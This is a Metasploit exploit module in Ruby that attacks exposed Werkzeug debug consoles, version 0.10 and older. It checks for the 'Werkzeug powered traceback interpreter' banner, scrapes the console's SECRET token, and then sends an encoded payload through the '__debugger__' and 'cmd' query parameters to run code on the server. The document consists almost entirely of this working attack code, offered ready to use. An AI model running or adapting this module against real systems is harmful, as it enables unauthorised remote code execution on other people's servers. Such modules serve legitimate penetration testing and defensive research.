Werkzeug Debug Shell Command Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'rex'  
  
class Metasploit4 < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Werkzeug Debug Shell Command Execution',  
'Description' => %q{  
This module will exploit the Werkzeug debug console to put down a  
Python shell. This debugger "must never be used on production  
machines" but sometimes slips passed testing.  
  
Tested against:  
0.9.6 on Debian  
0.9.6 on Centos  
0.10 on Debian  
},  
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',  
'References' =>  
[  
['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']  
],  
'License' => MSF_LICENSE,  
'Platform' => ['python'],  
'Targets' => [[ 'werkzeug 0.10 and older', {}]],  
'Arch' => ARCH_PYTHON,  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 28 2015'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'URI to the console', '/console'])  
], self.class  
)  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'])  
)  
  
# https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67  
if res && res.body =~ /Werkzeug powered traceback interpreter/  
return Exploit::CheckCode::Appears  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
# first we need to get the SECRET code  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'])  
)  
  
if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/  
secret = $1  
vprint_status("Secret Code: #{secret}")  
send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI']),  
'vars_get' => {  
'__debugger__' => 'yes',  
'cmd' => payload.encoded,  
'frm' => '0',  
's' => secret  
}  
)  
else  
print_error('Secret code not detected.')  
end  
end  
  
end  
`